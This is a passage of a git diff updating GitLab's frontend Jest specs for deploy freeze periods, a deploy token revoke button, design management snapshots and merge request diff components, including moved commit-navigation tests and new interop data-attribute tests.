+ await wrapper.vm.$nextTick();
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ 'setFreezePeriod',
+ store.state.freezePeriods[0],
+ );
});
});
});
diff --git a/spec/frontend/deploy_freeze/store/actions_spec.js b/spec/frontend/deploy_freeze/store/actions_spec.js
index f4d9802e39a..9c784f3c5a2 100644
--- a/spec/frontend/deploy_freeze/store/actions_spec.js
+++ b/spec/frontend/deploy_freeze/store/actions_spec.js
@@ -23,12 +23,46 @@ describe('deploy freeze store actions', () => {
});
Api.freezePeriods.mockResolvedValue({ data: freezePeriodsFixture });
Api.createFreezePeriod.mockResolvedValue();
+ Api.updateFreezePeriod.mockResolvedValue();
});
afterEach(() => {
mock.restore();
});
+ describe('setSelectedFreezePeriod', () => {
+ it('commits SET_SELECTED_TIMEZONE mutation', () => {
+ testAction(
+ actions.setFreezePeriod,
+ {
+ id: 3,
+ cronTimezone: 'UTC',
+ freezeStart: 'start',
+ freezeEnd: 'end',
+ },
+ {},
+ [
+ {
+ payload: 3,
+ type: types.SET_SELECTED_ID,
+ },
+ {
+ payload: 'UTC',
+ type: types.SET_SELECTED_TIMEZONE,
+ },
+ {
+ payload: 'start',
+ type: types.SET_FREEZE_START_CRON,
+ },
+ {
+ payload: 'end',
+ type: types.SET_FREEZE_END_CRON,
+ },
+ ],
+ );
+ });
+ });
+
describe('setSelectedTimezone', () => {
it('commits SET_SELECTED_TIMEZONE mutation', () => {
testAction(actions.setSelectedTimezone, {}, {}, [
@@ -68,10 +102,16 @@ describe('deploy freeze store actions', () => {
state,
[{ type: 'RESET_MODAL' }],
[
- { type: 'requestAddFreezePeriod' },
- { type: 'receiveAddFreezePeriodSuccess' },
+ { type: 'requestFreezePeriod' },
+ { type: 'receiveFreezePeriodSuccess' },
{ type: 'fetchFreezePeriods' },
],
+ () =>
+ expect(Api.createFreezePeriod).toHaveBeenCalledWith(state.projectId, {
+ freeze_start: state.freezeStartCron,
+ freeze_end: state.freezeEndCron,
+ cron_timezone: state.selectedTimezoneIdentifier,
+ }),
);
});
@@ -83,7 +123,43 @@ describe('deploy freeze store actions', () => {
{},
state,
[],
- [{ type: 'requestAddFreezePeriod' }, { type: 'receiveAddFreezePeriodError' }],
+ [{ type: 'requestFreezePeriod' }, { type: 'receiveFreezePeriodError' }],
+ () => expect(createFlash).toHaveBeenCalled(),
+ );
+ });
+ });
+
+ describe('updateFreezePeriod', () => {
+ it('dispatch correct actions on updating a freeze period', () => {
+ testAction(
+ actions.updateFreezePeriod,
+ {},
+ state,
+ [{ type: 'RESET_MODAL' }],
+ [
+ { type: 'requestFreezePeriod' },
+ { type: 'receiveFreezePeriodSuccess' },
+ { type: 'fetchFreezePeriods' },
+ ],
+ () =>
+ expect(Api.updateFreezePeriod).toHaveBeenCalledWith(state.projectId, {
+ id: state.selectedId,
+ freeze_start: state.freezeStartCron,
+ freeze_end: state.freezeEndCron,
+ cron_timezone: state.selectedTimezoneIdentifier,
+ }),
+ );
+ });
+
+ it('should show flash error and set error in state on add failure', () => {
+ Api.updateFreezePeriod.mockRejectedValue();
+
+ testAction(
+ actions.updateFreezePeriod,
+ {},
+ state,
+ [],
+ [{ type: 'requestFreezePeriod' }, { type: 'receiveFreezePeriodError' }],
() => expect(createFlash).toHaveBeenCalled(),
);
});
diff --git a/spec/frontend/deploy_freeze/store/mutations_spec.js b/spec/frontend/deploy_freeze/store/mutations_spec.js
index 54cbdfcb64c..ce75e3b89c3 100644
--- a/spec/frontend/deploy_freeze/store/mutations_spec.js
+++ b/spec/frontend/deploy_freeze/store/mutations_spec.js
@@ -33,7 +33,10 @@ describe('Deploy freeze mutations', () => {
const expectedFreezePeriods = freezePeriodsFixture.map((freezePeriod, index) => ({
...convertObjectPropsToCamelCase(freezePeriod),
- cronTimezone: timezoneNames[index],
+ cronTimezone: {
+ formattedTimezone: timezoneNames[index],
+ identifier: freezePeriod.cronTimezone,
+ },
}));
expect(stateCopy.freezePeriods).toMatchObject(expectedFreezePeriods);
@@ -62,11 +65,19 @@ describe('Deploy freeze mutations', () => {
});
});
- describe('SET_FREEZE_ENDT_CRON', () => {
+ describe('SET_FREEZE_END_CRON', () => {
it('should set freezeEndCron', () => {
mutations[types.SET_FREEZE_END_CRON](stateCopy, '5 0 * 8 *');
expect(stateCopy.freezeEndCron).toBe('5 0 * 8 *');
});
});
+
+ describe('SET_SELECTED_ID', () => {
+ it('should set selectedId', () => {
+ mutations[types.SET_SELECTED_ID](stateCopy, 5);
+
+ expect(stateCopy.selectedId).toBe(5);
+ });
+ });
});
diff --git a/spec/frontend/deploy_tokens/components/revoke_button_spec.js b/spec/frontend/deploy_tokens/components/revoke_button_spec.js
new file mode 100644
index 00000000000..e70dfe4d2e6
--- /dev/null
+++ b/spec/frontend/deploy_tokens/components/revoke_button_spec.js
@@ -0,0 +1,108 @@
+import { GlModal } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import RevokeButton from '~/deploy_tokens/components/revoke_button.vue';
+
+const mockToken = {
+ created_at: '2021-03-18T19:13:03.011Z',
+ deploy_token_type: 'project_type',
+ expires_at: null,
+ id: 1,
+ name: 'testtoken',
+ read_package_registry: true,
+ read_registry: false,
+ read_repository: true,
+ revoked: false,
+ token: 'xUVsGDfK4y_Xj5UhqvaH',
+ token_encrypted: 'JYeg+WK4obIlrhyAYWvBvaY7CNB/U3FPX3cdLrivAly5qToy',
+ username: 'gitlab+deploy-token-1',
+ write_package_registry: true,
+ write_registry: false,
+};
+const mockRevokePath = '';
+
+describe('RevokeButton', () => {
+ let wrapper;
+ let glModalDirective;
+
+ function createComponent(injectedProperties = {}) {
+ glModalDirective = jest.fn();
+ return extendedWrapper(
+ mount(RevokeButton, {
+ provide: {
+ token: mockToken,
+ revokePath: mockRevokePath,
+ ...injectedProperties,
+ },
+ directives: {
+ glModal: {
+ bind(_, { value }) {
+ glModalDirective(value);
+ },
+ },
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template:
+ '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ },
+ }),
+ );
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findRevokeButton = () => wrapper.findByTestId('revoke-button');
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findPrimaryModalButton = () => wrapper.findByTestId('primary-revoke-btn');
+
+ describe('template', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ describe('revoke button', () => {
+ it('displays the revoke button', () => {
+ expect(findRevokeButton().exists()).toBe(true);
+ });
+
+ it('passes the buttonClass to the button', () => {
+ wrapper = createComponent({ buttonClass: 'my-revoke-button' });
+ expect(findRevokeButton().classes()).toContain('my-revoke-button');
+ });
+
+ it('opens the modal', () => {
+ findRevokeButton().trigger('click');
+ expect(glModalDirective).toHaveBeenCalledWith(wrapper.vm.modalId);
+ });
+ });
+
+ describe('modal', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('renders the revoke modal', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('displays the token name in the modal title', () => {
+ expect(findModal().text()).toContain('Revoke testtoken');
+ });
+
+ it('displays the token name in the primary action button"', () => {
+ expect(findPrimaryModalButton().text()).toBe('Revoke testtoken');
+ });
+
+ it('passes the revokePath to the button', () => {
+ const revokePath = 'gitlab-org/gitlab-test/-/deploy-tokens/1/revoke';
+ wrapper = createComponent({ revokePath });
+ expect(findPrimaryModalButton().attributes('href')).toBe(revokePath);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/design_management/components/toolbar/__snapshots__/design_navigation_spec.js.snap b/spec/frontend/design_management/components/toolbar/__snapshots__/design_navigation_spec.js.snap
index 5eb86d4f9cb..3cb48d7632f 100644
--- a/spec/frontend/design_management/components/toolbar/__snapshots__/design_navigation_spec.js.snap
+++ b/spec/frontend/design_management/components/toolbar/__snapshots__/design_navigation_spec.js.snap
@@ -13,6 +13,7 @@ exports[`Design management pagination component renders navigation buttons 1`] =
class="gl-mx-5"
>
<gl-button-stub
+ aria-label="Go to previous design"
buttontextclasses=""
category="primary"
class="js-previous-design"
@@ -24,6 +25,7 @@ exports[`Design management pagination component renders navigation buttons 1`] =
/>
<gl-button-stub
+ aria-label="Go to next design"
buttontextclasses=""
category="primary"
class="js-next-design"
diff --git a/spec/frontend/design_management/components/toolbar/__snapshots__/index_spec.js.snap b/spec/frontend/design_management/components/toolbar/__snapshots__/index_spec.js.snap
index e2ad4c68bea..6dfd57906d8 100644
--- a/spec/frontend/design_management/components/toolbar/__snapshots__/index_spec.js.snap
+++ b/spec/frontend/design_management/components/toolbar/__snapshots__/index_spec.js.snap
@@ -41,6 +41,7 @@ exports[`Design management toolbar component renders design and updated data 1`]
/>
<gl-button-stub
+ aria-label="Download design"
buttontextclasses=""
category="primary"
href="/-/designs/306/7f747adcd4693afadbe968d7ba7d983349b9012d"
diff --git a/spec/frontend/design_management/components/upload/__snapshots__/button_spec.js.snap b/spec/frontend/design_management/components/upload/__snapshots__/button_spec.js.snap
index 904bb2022ca..191bcc2d484 100644
--- a/spec/frontend/design_management/components/upload/__snapshots__/button_spec.js.snap
+++ b/spec/frontend/design_management/components/upload/__snapshots__/button_spec.js.snap
@@ -6,11 +6,11 @@ exports[`Design management upload button component renders inverted upload desig
>
<gl-button-stub
buttontextclasses=""
- category="primary"
+ category="secondary"
icon=""
size="small"
title="Adding a design with the same filename replaces the file in a new version."
- variant="default"
+ variant="confirm"
>
Upload designs
@@ -31,11 +31,11 @@ exports[`Design management upload button component renders upload design button
<div>
<gl-button-stub
buttontextclasses=""
- category="primary"
+ category="secondary"
icon=""
size="small"
title="Adding a design with the same filename replaces the file in a new version."
- variant="default"
+ variant="confirm"
>
Upload designs
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index 34547238c23..8a1c5547581 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -56,6 +56,7 @@ describe('diffs/components/app', () => {
endpointMetadata: `${TEST_HOST}/diff/endpointMetadata`,
endpointBatch: `${TEST_HOST}/diff/endpointBatch`,
endpointCoverage: `${TEST_HOST}/diff/endpointCoverage`,
+ endpointCodequality: '',
projectPath: 'namespace/project',
currentUser: {},
changesEmptyStateIllustration: '',
@@ -105,7 +106,6 @@ describe('diffs/components/app', () => {
jest.spyOn(wrapper.vm, 'fetchDiffFilesBatch').mockImplementation(fetchResolver);
jest.spyOn(wrapper.vm, 'fetchCoverageFiles').mockImplementation(fetchResolver);
jest.spyOn(wrapper.vm, 'setDiscussions').mockImplementation(() => {});
- jest.spyOn(wrapper.vm, 'startRenderDiffsQueue').mockImplementation(() => {});
jest.spyOn(wrapper.vm, 'unwatchDiscussions').mockImplementation(() => {});
jest.spyOn(wrapper.vm, 'unwatchRetrievingBatches').mockImplementation(() => {});
store.state.diffs.retrievingBatches = true;
@@ -119,7 +119,6 @@ describe('diffs/components/app', () => {
await nextTick();
- expect(wrapper.vm.startRenderDiffsQueue).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesMeta).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesBatch).toHaveBeenCalled();
expect(wrapper.vm.fetchCoverageFiles).toHaveBeenCalled();
@@ -134,7 +133,6 @@ describe('diffs/components/app', () => {
await nextTick();
- expect(wrapper.vm.startRenderDiffsQueue).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesMeta).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesBatch).toHaveBeenCalled();
expect(wrapper.vm.fetchCoverageFiles).toHaveBeenCalled();
@@ -144,6 +142,16 @@ describe('diffs/components/app', () => {
});
});
+ describe('codequality diff', () => {
+ it('does not fetch code quality data on FOSS', async () => {
+ createComponent();
+ jest.spyOn(wrapper.vm, 'fetchCodequality');
+ wrapper.vm.fetchData(false);
+
+ expect(wrapper.vm.fetchCodequality).not.toHaveBeenCalled();
+ });
+ });
+
it.each`
props | state | expected
${{ isFluidLayout: true }} | ${{ isParallelView: false }} | ${false}
@@ -697,4 +705,24 @@ describe('diffs/components/app', () => {
);
});
});
+
+ describe('diff file tree is aware of review bar', () => {
+ it('it does not have review-bar-visible class when review bar is not visible', () => {
+ createComponent({}, ({ state }) => {
+ state.diffs.diffFiles = [{ file_hash: '111', file_path: '111.js' }];
+ });
+
+ expect(wrapper.find('.js-diff-tree-list').exists()).toBe(true);
+ expect(wrapper.find('.js-diff-tree-list.review-bar-visible').exists()).toBe(false);
+ });
+
+ it('it does have review-bar-visible class when review bar is visible', () => {
+ createComponent({}, ({ state }) => {
+ state.diffs.diffFiles = [{ file_hash: '111', file_path: '111.js' }];
+ state.batchComments.drafts = ['draft message'];
+ });
+
+ expect(wrapper.find('.js-diff-tree-list.review-bar-visible').exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/diffs/components/commit_item_spec.js b/spec/frontend/diffs/components/commit_item_spec.js
index 8cb4fd20063..0191822d97a 100644
--- a/spec/frontend/diffs/components/commit_item_spec.js
+++ b/spec/frontend/diffs/components/commit_item_spec.js
@@ -13,8 +13,6 @@ const TEST_AUTHOR_EMAIL = 'test+test@gitlab.com';
const TEST_AUTHOR_GRAVATAR = `${TEST_HOST}/avatar/test?s=40`;
const TEST_SIGNATURE_HTML = '<a>Legit commit</a>';
const TEST_PIPELINE_STATUS_PATH = `${TEST_HOST}/pipeline/status`;
-const NEXT_COMMIT_URL = `${TEST_HOST}/?commit_id=next`;
-const PREV_COMMIT_URL = `${TEST_HOST}/?commit_id=prev`;
describe('diffs/components/commit_item', () => {
let wrapper;
@@ -31,12 +29,6 @@ describe('diffs/components/commit_item', () => {
const getCommitActionsElement = () => wrapper.find('.commit-actions');
const getCommitPipelineStatus = () => wrapper.find(CommitPipelineStatus);
- const getCommitNavButtonsElement = () => wrapper.find('.commit-nav-buttons');
- const getNextCommitNavElement = () =>
- getCommitNavButtonsElement().find('.btn-group > *:last-child');
- const getPrevCommitNavElement = () =>
- getCommitNavButtonsElement().find('.btn-group > *:first-child');
-
const mountComponent = (propsData) => {
wrapper = mount(Component, {
propsData: {
@@ -180,126 +172,4 @@ describe('diffs/components/commit_item', () => {
expect(getCommitPipelineStatus().exists()).toBe(true);
});
});
-
- describe('without neighbor commits', () => {
- beforeEach(() => {
- mountComponent({ commit: { ...commit, prev_commit_id: null, next_commit_id: null } });
- });
-
- it('does not render any navigation buttons', () => {
- expect(getCommitNavButtonsElement().exists()).toEqual(false);
- });
- });
-
- describe('with neighbor commits', () => {
- let mrCommit;
-
- beforeEach(() => {
- mrCommit = {
- ...commit,
- next_commit_id: 'next',
- prev_commit_id: 'prev',
- };
-
- mountComponent({ commit: mrCommit });
- });
-
- it('renders the commit navigation buttons', () => {
- expect(getCommitNavButtonsElement().exists()).toEqual(true);
-
- mountComponent({
- commit: { ...mrCommit, next_commit_id: null },
- });
- expect(getCommitNavButtonsElement().exists()).toEqual(true);
-
- mountComponent({
- commit: { ...mrCommit, prev_commit_id: null },
- });
- expect(getCommitNavButtonsElement().exists()).toEqual(true);
- });
-
- describe('prev commit', () => {
- const { location } = window;
-
- beforeAll(() => {
- delete window.location;
- window.location = { href: `${TEST_HOST}?commit_id=${mrCommit.id}` };
- });
-
- beforeEach(() => {
- jest.spyOn(wrapper.vm, 'moveToNeighboringCommit').mockImplementation(() => {});
- });
-
- afterAll(() => {
- window.location = location;
- });
-
- it('uses the correct href', () => {
- const link = getPrevCommitNavElement();
-
- expect(link.element.getAttribute('href')).toEqual(PREV_COMMIT_URL);
- });
-
- it('triggers the correct Vuex action on click', () => {
- const link = getPrevCommitNavElement();
-
- link.trigger('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.moveToNeighboringCommit).toHaveBeenCalledWith({
- direction: 'previous',
- });
- });
- });
-
- it('renders a disabled button when there is no prev commit', () => {
- mountComponent({ commit: { ...mrCommit, prev_commit_id: null } });
-
- const button = getPrevCommitNavElement();
-
- expect(button.element.tagName).toEqual('BUTTON');
- expect(button.element.hasAttribute('disabled')).toEqual(true);
- });
- });
-
- describe('next commit', () => {
- const { location } = window;
-
- beforeAll(() => {
- delete window.location;
- window.location = { href: `${TEST_HOST}?commit_id=${mrCommit.id}` };
- });
-
- beforeEach(() => {
- jest.spyOn(wrapper.vm, 'moveToNeighboringCommit').mockImplementation(() => {});
- });
-
- afterAll(() => {
- window.location = location;
- });
-
- it('uses the correct href', () => {
- const link = getNextCommitNavElement();
-
- expect(link.element.getAttribute('href')).toEqual(NEXT_COMMIT_URL);
- });
-
- it('triggers the correct Vuex action on click', () => {
- const link = getNextCommitNavElement();
-
- link.trigger('click');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.moveToNeighboringCommit).toHaveBeenCalledWith({ direction: 'next' });
- });
- });
-
- it('renders a disabled button when there is no next commit', () => {
- mountComponent({ commit: { ...mrCommit, next_commit_id: null } });
-
- const button = getNextCommitNavElement();
-
- expect(button.element.tagName).toEqual('BUTTON');
- expect(button.element.hasAttribute('disabled')).toEqual(true);
- });
- });
- });
});
diff --git a/spec/frontend/diffs/components/compare_versions_spec.js b/spec/frontend/diffs/components/compare_versions_spec.js
index c93a3771ec0..a01ec1db35c 100644
--- a/spec/frontend/diffs/components/compare_versions_spec.js
+++ b/spec/frontend/diffs/components/compare_versions_spec.js
@@ -1,5 +1,6 @@
import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
+import { TEST_HOST } from 'helpers/test_constants';
import { trimText } from 'helpers/text_helper';
import CompareVersionsComponent from '~/diffs/components/compare_versions.vue';
import { createStore } from '~/mr_notes/stores';
@@ -9,12 +10,17 @@ import diffsMockData from '../mock_data/merge_request_diffs';
const localVue = createLocalVue();
localVue.use(Vuex);
+const NEXT_COMMIT_URL = `${TEST_HOST}/?commit_id=next`;
+const PREV_COMMIT_URL = `${TEST_HOST}/?commit_id=prev`;
+
describe('CompareVersions', () => {
let wrapper;
let store;
const targetBranchName = 'tmp-wine-dev';
+ const { commit } = getDiffWithCommit();
- const createWrapper = (props) => {
+ const createWrapper = (props = {}, commitArgs = {}) => {
+ store.state.diffs.commit = { ...store.state.diffs.commit, ...commitArgs };
wrapper = mount(CompareVersionsComponent, {
localVue,
store,
@@ -28,6 +34,11 @@ describe('CompareVersions', () => {
const findLimitedContainer = () => wrapper.find('.container-limited.limit-container-width');
const findCompareSourceDropdown = () => wrapper.find('.mr-version-dropdown');
const findCompareTargetDropdown = () => wrapper.find('.mr-version-compare-dropdown');
+ const getCommitNavButtonsElement = () => wrapper.find('.commit-nav-buttons');
+ const getNextCommitNavElement = () =>
+ getCommitNavButtonsElement().find('.btn-group > *:last-child');
+ const getPrevCommitNavElement = () =>
+ getCommitNavButtonsElement().find('.btn-group > *:first-child');
beforeEach(() => {
store = createStore();
@@ -161,4 +172,126 @@ describe('CompareVersions', () => {
expect(findCompareTargetDropdown().exists()).toBe(false);
});
});
+
+ describe('without neighbor commits', () => {
+ beforeEach(() => {
+ createWrapper({ commit: { ...commit, prev_commit_id: null, next_commit_id: null } });
+ });
+
+ it('does not render any navigation buttons', () => {
+ expect(getCommitNavButtonsElement().exists()).toEqual(false);
+ });
+ });
+
+ describe('with neighbor commits', () => {
+ let mrCommit;
+
+ beforeEach(() => {
+ mrCommit = {
+ ...commit,
+ next_commit_id: 'next',
+ prev_commit_id: 'prev',
+ };
+
+ createWrapper({}, mrCommit);
+ });
+
+ it('renders the commit navigation buttons', () => {
+ expect(getCommitNavButtonsElement().exists()).toEqual(true);
+
+ createWrapper({
+ commit: { ...mrCommit, next_commit_id: null },
+ });
+ expect(getCommitNavButtonsElement().exists()).toEqual(true);
+
+ createWrapper({
+ commit: { ...mrCommit, prev_commit_id: null },
+ });
+ expect(getCommitNavButtonsElement().exists()).toEqual(true);
+ });
+
+ describe('prev commit', () => {
+ beforeAll(() => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}?commit_id=${mrCommit.id}`,
+ });
+ });
+
+ afterAll(() => {
+ global.jsdom.reconfigure({
+ url: TEST_HOST,
+ });
+ });
+
+ beforeEach(() => {
+ jest.spyOn(wrapper.vm, 'moveToNeighboringCommit').mockImplementation(() => {});
+ });
+
+ it('uses the correct href', () => {
+ const link = getPrevCommitNavElement();
+
+ expect(link.element.getAttribute('href')).toEqual(PREV_COMMIT_URL);
+ });
+
+ it('triggers the correct Vuex action on click', () => {
+ const link = getPrevCommitNavElement();
+
+ link.trigger('click');
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.vm.moveToNeighboringCommit).toHaveBeenCalledWith({
+ direction: 'previous',
+ });
+ });
+ });
+
+ it('renders a disabled button when there is no prev commit', () => {
+ createWrapper({}, { ...mrCommit, prev_commit_id: null });
+
+ const button = getPrevCommitNavElement();
+
+ expect(button.element.hasAttribute('disabled')).toEqual(true);
+ });
+ });
+
+ describe('next commit', () => {
+ beforeAll(() => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}?commit_id=${mrCommit.id}`,
+ });
+ });
+
+ afterAll(() => {
+ global.jsdom.reconfigure({
+ url: TEST_HOST,
+ });
+ });
+
+ beforeEach(() => {
+ jest.spyOn(wrapper.vm, 'moveToNeighboringCommit').mockImplementation(() => {});
+ });
+
+ it('uses the correct href', () => {
+ const link = getNextCommitNavElement();
+
+ expect(link.element.getAttribute('href')).toEqual(NEXT_COMMIT_URL);
+ });
+
+ it('triggers the correct Vuex action on click', () => {
+ const link = getNextCommitNavElement();
+
+ link.trigger('click');
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.vm.moveToNeighboringCommit).toHaveBeenCalledWith({ direction: 'next' });
+ });
+ });
+
+ it('renders a disabled button when there is no next commit', () => {
+ createWrapper({}, { ...mrCommit, next_commit_id: null });
+
+ const button = getNextCommitNavElement();
+
+ expect(button.element.hasAttribute('disabled')).toEqual(true);
+ });
+ });
+ });
});
diff --git a/spec/frontend/diffs/components/diff_row_spec.js b/spec/frontend/diffs/components/diff_row_spec.js
index 5682b29d697..0bc1bd40f06 100644
--- a/spec/frontend/diffs/components/diff_row_spec.js
+++ b/spec/frontend/diffs/components/diff_row_spec.js
@@ -4,6 +4,7 @@ import Vuex from 'vuex';
import DiffRow from '~/diffs/components/diff_row.vue';
import { mapParallel } from '~/diffs/components/diff_row_utils';
import diffsModule from '~/diffs/store/modules';
+import { findInteropAttributes } from '../find_interop_attributes';
import diffFileMockData from '../mock_data/diff_file';
describe('DiffRow', () => {
@@ -211,4 +212,20 @@ describe('DiffRow', () => {
expect(coverage.classes('no-coverage')).toBeFalsy();
});
});
+
+ describe('interoperability', () => {
+ it.each`
+ desc | line | inline | leftSide | rightSide
+ ${'with inline and new_line'} | ${{ left: { old_line: 3, new_line: 5, type: 'new' } }} | ${true} | ${{ type: 'new', line: '5', oldLine: '3', newLine: '5' }} | ${null}
+ ${'with inline and no new_line'} | ${{ left: { old_line: 3, type: 'old' } }} | ${true} | ${{ type: 'old', line: '3', oldLine: '3' }} | ${null}
+ ${'with parallel and no right side'} | ${{ left: { old_line: 3, new_line: 5 } }} | ${false} | ${{ type: 'old', line: '3', oldLine: '3' }} | ${null}
+ ${'with parallel and no left side'} | ${{ right: { old_line: 3, new_line: 5 } }} | ${false} | ${null} | ${{ type: 'new', line: '5', newLine: '5' }}
+ ${'with parallel and right side'} | ${{ left: { old_line: 3 }, right: { new_line: 5 } }} | ${false} | ${{ type: 'old', line: '3', oldLine: '3' }} | ${{ type: 'new', line: '5', newLine: '5' }}
+ `('$desc, sets interop data attributes', ({ line, inline, leftSide, rightSide }) => {
+ const wrapper = createWrapper({ props: { line, inline } });
+
+ expect(findInteropAttributes(wrapper, '[data-testid="left-side"]')).toEqual(leftSide);
+ expect(findInteropAttributes(wrapper, '[data-testid="right-side"]')).toEqual(rightSide);
+ });
+ });
});
diff --git a/spec/frontend/diffs/components/inline_diff_table_row_spec.js b/spec/frontend/diffs/components/inline_diff_table_row_spec.js
index 28b3055b58c..66b63a7a1d0 100644
--- a/spec/frontend/diffs/components/inline_diff_table_row_spec.js
+++ b/spec/frontend/diffs/components/inline_diff_table_row_spec.js
@@ -3,6 +3,7 @@ import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
import { mapInline } from '~/diffs/components/diff_row_utils';
import InlineDiffTableRow from '~/diffs/components/inline_diff_table_row.vue';
import { createStore } from '~/mr_notes/stores';
+import { findInteropAttributes } from '../find_interop_attributes';
import discussionsMockData from '../mock_data/diff_discussions';
import diffFileMockData from '../mock_data/diff_file';
@@ -310,4 +311,16 @@ describe('InlineDiffTableRow', () => {
});
});
});
+
+ describe('interoperability', () => {
+ it.each`
+ desc | line | expectation
+ ${'with type old'} | ${{ ...thisLine, type: 'old', old_line: 3, new_line: 5 }} | ${{ type: 'old', line: '3', oldLine: '3', newLine: '5' }}
+ ${'with type new'} | ${{ ...thisLine, type: 'new', old_line: 3, new_line: 5 }} | ${{ type: 'new', line: '5', oldLine: '3', newLine: '5' }}
+ `('$desc, sets interop data attributes', ({ line, expectation }) => {
+ createComponent({ line });
+
+ expect(findInteropAttributes(wrapper)).toEqual(expectation);
+ });
+ });
});
diff --git a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js b/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
index dbe8303077d..ed191d849fd 100644
--- a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
+++ b/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
@@ -5,6 +5,7 @@ import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
import { mapParallel } from '~/diffs/components/diff_row_utils';
import ParallelDiffTableRow from '~/diffs/components/parallel_diff_table_row.vue';
import { createStore } from '~/mr_notes/stores';
+import { findInteropAttributes } from '../find_interop_attributes';
import discussionsMockData from '../mock_data/diff_discussions';
import diffFileMockData from '../mock_data/diff_file';
@@ -418,5 +419,27 @@ describe('ParallelDiffTableRow', () => {
});
});
});
+
+ describe('interoperability', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('adds old side interoperability data attributes', () => {
+ expect(findInteropAttributes(wrapper, '.line_content.left-side')).toEqual({
+ type: 'old',
+ line: thisLine.left.old_line.toString(),
+ oldLine: thisLine.left.old_line.toString(),
+ });
+ });
+
+ it('adds new side interoperability data attributes', () => {
+ expect(findInteropAttributes(wrapper, '.line_content.right-side')).toEqual({
+ type: 'new',
+ line: thisLine.right.new_line.toString(),
+ newLine: thisLine.right.new_line.toString(),
+ });
+ });
+ });
});
});
diff --git a/spec/frontend/diffs/create_diffs_store.js b/spec/frontend/diffs/create_diffs_store.js
index aacde99964c..e6a8b7a72ae 100644
--- a/spec/frontend/diffs/create_diffs_store.js
+++ b/spec/frontend/diffs/create_diffs_store.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import Vuex from 'vuex';
+import batchCommentsModule from '~/batch_comments/stores/modules/batch_comments';
import diffsModule from '~/diffs/store/modules';
import notesModule from '~/notes/stores/modules';
@@ -10,6 +11,7 @@ export default function createDiffsStore() {
modules: {
diffs: diffsModule(),
notes: notesModule(),
+ batchComments: batchCommentsModule(),
},
});
}
diff --git a/spec/frontend/diffs/find_interop_attributes.js b/spec/frontend/diffs/find_interop_attributes.js
new file mode 100644
index 00000000000..d2266b20e16
--- /dev/null
+++ b/spec/frontend/diffs/find_interop_attributes.js
@@ -0,0 +1,20 @@
+export const findInteropAttributes = (parent, sel) => {
+ const target = sel ? parent.find(sel) : parent;
+
+ if (!target.exists()) {
+ return null;
+ }
+
+ const type = target.attributes('data-interop-type');
+
+ if (!type) {
+ return null;
+ }
+
+ return {
+ type,
+ line: target.attributes('data-interop-line'),
+ oldLine: target.attributes('data-interop-old-line'),
+ newLine: target.attributes('data-interop-new-line'),
+ };
+};
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index ed3210ecfaf..f46a42fae7a 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -80,7 +80,7 @@ describe('DiffsStoreActions', () => {
jest.spyOn(utils, 'idleCallback').mockImplementation(() => null);
['requestAnimationFrame', 'requestIdleCallback'].forEach((method) => {
global[method] = (cb) => {
- cb();
+ cb({ timeRemaining: () => 10 });
};
});
});
@@ -198,7 +198,7 @@ describe('DiffsStoreActions', () => {
{ type: types.VIEW_DIFF_FILE, payload: 'test2' },
{ type: types.SET_RETRIEVING_BATCHES, payload: false },
],
- [],
+ [{ type: 'startRenderDiffsQueue' }, { type: 'startRenderDiffsQueue' }],
done,
);
});
@@ -251,6 +251,8 @@ describe('DiffsStoreActions', () => {
{ type: types.SET_LOADING, payload: false },
{ type: types.SET_MERGE_REQUEST_DIFFS, payload: diffMetadata.merge_request_diffs },
{ type: types.SET_DIFF_METADATA, payload: noFilesData },
+ // Workers are synchronous in Jest environment (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58805)
+ { type: types.SET_TREE_DATA, payload: utils.generateTreeList(diffMetadata.diff_files) },
],
[],
() => {
@@ -1459,19 +1461,42 @@ describe('DiffsStoreActions', () => {
});
describe('setFileByFile', () => {
+ const updateUserEndpoint = 'user/prefs';
+ let putSpy;
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ putSpy = jest.spyOn(axios, 'put');
+
+ mock.onPut(updateUserEndpoint).reply(200, {});
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
it.each`
value
${true}
${false}
- `('commits SET_FILE_BY_FILE with the new value $value', ({ value }) => {
- return testAction(
